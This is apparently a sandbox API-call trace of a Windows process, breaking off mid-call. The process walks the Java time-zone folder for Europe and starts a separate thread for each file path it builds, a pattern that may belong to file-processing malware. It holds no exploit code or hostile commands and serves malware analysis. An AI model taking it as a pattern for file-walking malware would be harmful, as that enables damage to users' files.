0x1864 [0178.397] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brussels", cAlternateFileName="")) returned 1 [0178.397] wcscmp (_String1="Brussels", _String2=".") returned 1 [0178.397] wcscmp (_String1="Brussels", _String2="..") returned 1 [0178.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8788 [0178.397] wcscpy (in: _Dest=0x8e8788, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.397] wcscat (in: _Dest=0x8e8788, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.397] wcscat (in: _Dest=0x8e8788, _Source="Brussels" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels" [0178.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc [0178.398] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bucharest", cAlternateFileName="BUCHAR~1")) returned 1 [0178.398] wcscmp (_String1="Bucharest", _String2=".") returned 1 [0178.398] wcscmp (_String1="Bucharest", _String2="..") returned 1 [0178.398] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd80 [0178.398] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.398] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.398] wcscat (in: _Dest=0x8cfd80, _Source="Bucharest" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Bucharest") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Bucharest" [0178.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8 [0178.399] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Budapest", cAlternateFileName="")) returned 1 [0178.399] wcscmp (_String1="Budapest", _String2=".") returned 1 [0178.399] wcscmp (_String1="Budapest", _String2="..") returned 1 [0178.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8bc0 [0178.399] wcscpy (in: _Dest=0x8e8bc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.399] wcscat (in: _Dest=0x8e8bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.399] wcscat (in: _Dest=0x8e8bc0, _Source="Budapest" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Budapest") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Budapest" [0178.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4 [0178.414] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chisinau", cAlternateFileName="")) returned 1 [0178.414] wcscmp (_String1="Chisinau", _String2=".") returned 1 [0178.414] wcscmp (_String1="Chisinau", _String2="..") returned 1 [0178.414] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e94a8 [0178.414] wcscpy (in: _Dest=0x8e94a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.414] wcscat (in: _Dest=0x8e94a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.414] wcscat (in: _Dest=0x8e94a8, _Source="Chisinau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Chisinau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Chisinau" [0178.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e94a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4c [0178.416] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Copenhagen", cAlternateFileName="COPENH~1")) returned 1 [0178.416] wcscmp (_String1="Copenhagen", _String2=".") returned 1 [0178.416] wcscmp (_String1="Copenhagen", _String2="..") returned 1 [0178.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0600 [0178.416] wcscpy (in: _Dest=0x8d0600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.416] wcscat (in: _Dest=0x8d0600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.416] wcscat (in: _Dest=0x8d0600, _Source="Copenhagen" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Copenhagen") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Copenhagen" [0178.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe48 [0178.417] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dublin", cAlternateFileName="")) returned 1 [0178.417] wcscmp (_String1="Dublin", _String2=".") returned 1 [0178.418] wcscmp (_String1="Dublin", _String2="..") returned 1 [0178.418] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e9340 [0178.418] wcscpy (in: _Dest=0x8e9340, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.418] wcscat (in: _Dest=0x8e9340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.418] wcscat (in: _Dest=0x8e9340, _Source="Dublin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Dublin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Dublin" [0178.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44 [0178.419] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gibraltar", cAlternateFileName="GIBRAL~1")) returned 1 [0178.419] wcscmp (_String1="Gibraltar", _String2=".") returned 1 [0178.419] wcscmp (_String1="Gibraltar", _String2="..") returned 1 [0178.419] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0880 [0178.419] wcscpy (in: _Dest=0x8d0880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.419] wcscat (in: _Dest=0x8d0880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.419] wcscat (in: _Dest=0x8d0880, _Source="Gibraltar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Gibraltar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Gibraltar" [0178.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe40 [0178.421] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Helsinki", cAlternateFileName="")) returned 1 [0178.421] wcscmp (_String1="Helsinki", _String2=".") returned 1 [0178.421] wcscmp (_String1="Helsinki", _String2="..") returned 1 [0178.421] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8e18 [0178.421] wcscpy (in: _Dest=0x8e8e18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.421] wcscat (in: _Dest=0x8e8e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.421] wcscat (in: _Dest=0x8e8e18, _Source="Helsinki" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki" [0178.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe3c [0178.422] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Istanbul", cAlternateFileName="")) returned 1 [0178.422] wcscmp (_String1="Istanbul", _String2=".") returned 1 [0178.422] wcscmp (_String1="Istanbul", _String2="..") returned 1 [0178.422] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8c38 [0178.422] wcscpy (in: _Dest=0x8e8c38, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.422] wcscat (in: _Dest=0x8e8c38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.422] wcscat (in: _Dest=0x8e8c38, _Source="Istanbul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul" [0178.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0 [0178.423] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kaliningrad", cAlternateFileName="KALINI~1")) returned 1 [0178.424] wcscmp (_String1="Kaliningrad", _String2=".") returned 1 [0178.424] wcscmp (_String1="Kaliningrad", _String2="..") returned 1 [0178.424] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0680 [0178.424] wcscpy (in: _Dest=0x8d0680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.424] wcscat (in: _Dest=0x8d0680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.424] wcscat (in: _Dest=0x8d0680, _Source="Kaliningrad" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kaliningrad") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kaliningrad" [0178.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4 [0178.675] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kiev", cAlternateFileName="")) returned 1 [0178.675] wcscmp (_String1="Kiev", _String2=".") returned 1 [0178.675] wcscmp (_String1="Kiev", _String2="..") returned 1 [0178.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1678 [0178.675] wcscpy (in: _Dest=0x8f1678, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.675] wcscat (in: _Dest=0x8f1678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.675] wcscat (in: _Dest=0x8f1678, _Source="Kiev" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev" [0181.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b4 [0181.466] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisbon", cAlternateFileName="")) returned 1 [0181.466] wcscmp (_String1="Lisbon", _String2=".") returned 1 [0181.466] wcscmp (_String1="Lisbon", _String2="..") returned 1 [0181.466] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8f80 [0181.466] wcscpy (in: _Dest=0x8e8f80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.466] wcscat (in: _Dest=0x8e8f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.466] wcscat (in: _Dest=0x8e8f80, _Source="Lisbon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon" [0181.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0 [0181.467] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="London", cAlternateFileName="")) returned 1 [0181.467] wcscmp (_String1="London", _String2=".") returned 1 [0181.467] wcscmp (_String1="London", _String2="..") returned 1 [0181.467] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8968 [0181.467] wcscpy (in: _Dest=0x8e8968, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.468] wcscat (in: _Dest=0x8e8968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.468] wcscat (in: _Dest=0x8e8968, _Source="London" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" [0181.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1628 [0181.469] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luxembourg", cAlternateFileName="LUXEMB~1")) returned 1 [0181.469] wcscmp (_String1="Luxembourg", _String2=".") returned 1 [0181.469] wcscmp (_String1="Luxembourg", _String2="..") returned 1 [0181.469] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0680 [0181.469] wcscpy (in: _Dest=0x8d0680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.469] wcscat (in: _Dest=0x8d0680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.469] wcscat (in: _Dest=0x8d0680, _Source="Luxembourg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" [0181.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0181.470] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madrid", cAlternateFileName="")) returned 1 [0181.470] wcscmp (_String1="Madrid", _String2=".") returned 1 [0181.470] wcscmp (_String1="Madrid", _String2="..") returned 1 [0181.470] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8cb0 [0181.470] wcscpy (in: _Dest=0x8e8cb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.470] wcscat (in: _Dest=0x8e8cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.470] wcscat (in: _Dest=0x8e8cb0, _Source="Madrid" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid" [0181.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28 [0181.471] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malta", cAlternateFileName="")) returned 1 [0181.472] wcscmp (_String1="Malta", _String2=".") returned 1 [0181.472] wcscmp (_String1="Malta", _String2="..") returned 1 [0181.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8788 [0181.472] wcscpy (in: _Dest=0x8e8788, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.472] wcscat (in: _Dest=0x8e8788, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.472] wcscat (in: _Dest=0x8e8788, _Source="Malta" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta" [0181.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, 